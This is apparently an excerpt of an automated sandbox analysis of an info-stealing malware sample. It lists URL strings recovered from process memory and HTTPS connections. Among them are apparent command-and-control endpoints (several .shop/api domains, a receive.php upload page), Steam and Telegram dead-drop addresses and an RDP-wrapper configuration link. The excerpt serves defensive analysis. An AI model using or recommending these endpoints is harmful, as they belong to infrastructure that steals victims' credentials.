Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001573000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001573000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001573000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001573000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Source: RegAsm.exe, 00000003.00000002.2843926018.000000000163F000.00000004.00000020.00020000.00000000.sdmp, IJKFII.3.dr String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: RegAsm.exe, 00000003.00000002.2843926018.000000000163F000.00000004.00000020.00020000.00000000.sdmp, IJKFII.3.dr String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: RegAsm.exe, 0000000B.00000002.2882185687.00000000012A2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drawzhotdog.shop/
Source: CFBAKK.3.dr String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: CFBAKK.3.dr String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: CFBAKK.3.dr String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: RegAsm.exe, 0000000B.00000002.2877988854.0000000001242000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://fragnantbui.shop/api
Source: RegAsm.exe, 0000000B.00000002.2877988854.0000000001242000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ghostreedmnu.shop/api
Source: BKJKEBGDHD.exe, 0000000F.00000002.3052446912.0000000002DB0000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: https://github.com/lontivero/Open.Nat/issuesOAlso
Source: BKJKEBGDHD.exe, 0000000F.00000002.3052610087.0000000003027000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://hansgborn.eu
Source: BKJKEBGDHD.exe, 0000000F.00000002.3052610087.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://hansgborn.eu/receive.php
Source: BKJKEBGDHD.exe, 0000000F.00000002.3052610087.0000000003027000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://hansgborn.eu/receive.phpd
Source: RegAsm.exe, 0000000E.00000002.3294389274.00000000016A2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://help.steampowered
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001573000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://help.steampowered.com/en/
Source: IJKFII.3.dr String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: RegAsm.exe, 00000003.00000002.2951825363.000000003E7FD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2909837228.0000000026A3C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2934684215.0000000032912000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2898107037.0000000020AC7000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr String found in binary or memory: https://mozilla.org0/
Source: RDPWInst.exe, 00000016.00000000.2818017493.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, RDPWInst.exe.15.dr String found in binary or memory: https://raw.githubusercontent.com/stascorp/rdpwrap/master/res/rdpwrap.iniU
Source: RegAsm.exe, 0000000E.00000002.3294389274.00000000016A2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://recaptcha.net
Source: RegAsm.exe, 0000000B.00000002.2876092064.000000000121E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2882185687.00000000012A2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://reinforcenh.shop/
Source: 76561199780418869[1].htm.3.dr String found in binary or memory: https://steamcommunity.com/
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001573000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001573000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://steamcommunity.com/discussions/
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001555000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/f
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001573000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2877988854.0000000001296000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: 76561199780418869[1].htm.3.dr String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199780418869
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001573000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://steamcommunity.com/market/
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001573000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: RegAsm.exe, 0000000B.00000002.2877988854.0000000001296000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: RegAsm.exe, 0000000B.00000002.2877988854.0000000001296000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: file.exe, 00000000.00000002.2144529083.0000000003AB5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, RegAsm.exe, 00000003.00000002.2832771342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2843926018.0000000001555000.00000004.00000020.00020000.00000000.sdmp, GIJEGDAKEH.exe, 0000000C.00000002.2775997057.00000000038BB000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.0000000000437000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016A2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001573000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869/badges
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001573000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869/inventory/
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001555000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869_L
Source: file.exe, 00000000.00000002.2144529083.0000000003AB5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2832771342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, GIJEGDAKEH.exe, 0000000C.00000002.2775997057.00000000038BB000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.0000000000437000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869u55uhttps://t.me/ae5edMozilla/5.0
Source: RegAsm.exe, 0000000E.00000002.3294389274.00000000016A2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869z
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001573000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://steamcommunity.com/workshop/
Source: RegAsm.exe, 0000000B.00000002.2877988854.0000000001242000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://stogeneratmns.shop/api
Source: 76561199780418869[1].htm.3.dr String found in binary or memory: https://store.steampowered.com/
Source: 76561199780418869[1].htm.3.dr String found in binary or memory: https://store.steampowered.com/about/
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001573000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://store.steampowered.com/explore/
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001573000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2877988854.0000000001296000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://store.steampowered.com/legal/
Source: RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://store.steampowered.com/mobile
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001573000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://store.steampowered.com/news/
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001573000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://store.steampowered.com/points/shop/
Source: RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/privac
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001573000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://store.steampowered.com/stats/
Source: RegAsm.exe, 0000000E.00000002.3291876197.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001573000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: JKECGH.3.dr String found in binary or memory: https://support.mozilla.org
Source: JKECGH.3.dr String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: JKECGH.3.dr String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: file.exe, 00000000.00000002.2144529083.0000000003AB5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, RegAsm.exe, 00000003.00000002.2832771342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, GIJEGDAKEH.exe, 0000000C.00000002.2775997057.00000000038BB000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.0000000000437000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://t.me/ae5ed
Source: RegAsm.exe, 0000000B.00000002.2877988854.0000000001242000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://vozmeatillu.shop/api
Source: RegAsm.exe, 0000000B.00000002.2876092064.00000000011FA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://wallkedsleeoi.shop/api
Source: RegAsm.exe, 0000000B.00000002.2876092064.00000000011FA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://wallkedsleeoi.shop/apie
Source: RegAsm.exe, 00000003.00000002.2843926018.000000000163F000.00000004.00000020.00020000.00000000.sdmp, IJKFII.3.dr String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: RegAsm.exe, 00000003.00000002.2951825363.000000003E7FD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2909837228.0000000026A3C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2934684215.0000000032912000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2898107037.0000000020AC7000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr String found in binary or memory: https://www.digicert.com/CPS0
Source: CFBAKK.3.dr String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 66f5dbaca34ac_lfdnsafnds[1].exe.3.dr, BGDGHJEHJJ.exe.3.dr, GIJEGDAKEH.exe.3.dr, 66f5db9e54794_vfkagks[1].exe.3.dr String found in binary or memory: https://www.entrust.net/rpa0
Source: CFBAKK.3.dr String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: JKECGH.3.dr String found in binary or memory: https://www.mozilla.org
Source: JKECGH.3.dr String found in binary or memory: https://www.mozilla.org#
Source: RegAsm.exe, 00000003.00000002.2856347475.0000000019F2C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/
Source: JKECGH.3.dr String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: RegAsm.exe, 00000003.00000002.2856347475.0000000019F2C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/contribute/
Source: JKECGH.3.dr String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: JKECGH.3.dr String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: RegAsm.exe, 00000003.00000002.2843926018.000000000163F000.00000004.00000020.00020000.00000000.sdmp, IJKFII.3.dr String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001573000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.00000000004D4000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.00000000004F6000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.0000000000506000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.00000000004DA000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000051F000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.00000000004C2000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.00000000004EF000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.0000000000528000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.00000000004CE000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000050E000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.00000000004E8000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.00000000004C8000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.0000000000516000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.00000000004E1000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.00000000004FE000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: unknown Network traffic detected: HTTP traffic on port 57905 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57927
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57926
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57929
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57928
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57923
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57925
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57886
Source: unknown Network traffic detected: HTTP traffic on port 57886 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57885
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57888
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57887
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57893
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57892
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57895
Source: unknown Network traffic detected: HTTP traffic on port 57883 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57894
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57891
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57890
Source: unknown Network traffic detected: HTTP traffic on port 57914 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57931 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57908 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57900 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57933
Source: unknown Network traffic detected: HTTP traffic on port 57925 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57897
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57930
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57896
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57899
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57932
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57931
Source: unknown Network traffic detected: HTTP traffic on port 57919 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57892 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57894 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57932 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57926 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57903 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57888 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57885 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57912 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57891 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57897 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57906 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57923 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57917 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57880 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57877 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57896 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57930 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57909 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57918 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57876 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57893 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57899 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57910 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57929 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57904 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57882 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57879 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57909
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57908
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57905
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57904
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57906
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57900
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57903
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57902
Source: unknown Network traffic detected: HTTP traffic on port 57916 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57881 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57878 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57895 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57919
Source: unknown Network traffic detected: HTTP traffic on port 57933 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57916
Source: unknown Network traffic detected: HTTP traffic on port 57927 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57918
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57917
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57879
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57912
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57878
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57914
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57913
Source: unknown Network traffic detected: HTTP traffic on port 57887 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57877
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57910
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57876
Source: unknown Network traffic detected: HTTP traffic on port 57902 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57882
Source: unknown Network traffic detected: HTTP traffic on port 57884 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57881
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57884
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57883
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57880
Source: unknown Network traffic detected: HTTP traffic on port 57890 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57913 -> 443
Source: unknown HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:57876 version: TLS 1.2
Source: unknown HTTPS traffic detected: 5.75.211.162:443 -> 192.168.2.6:57877 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.194.216:443 -> 192.168.2.6:57903 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.4.136:443 -> 192.168.2.6:57904 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:57906 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:57908 version: TLS 1.2
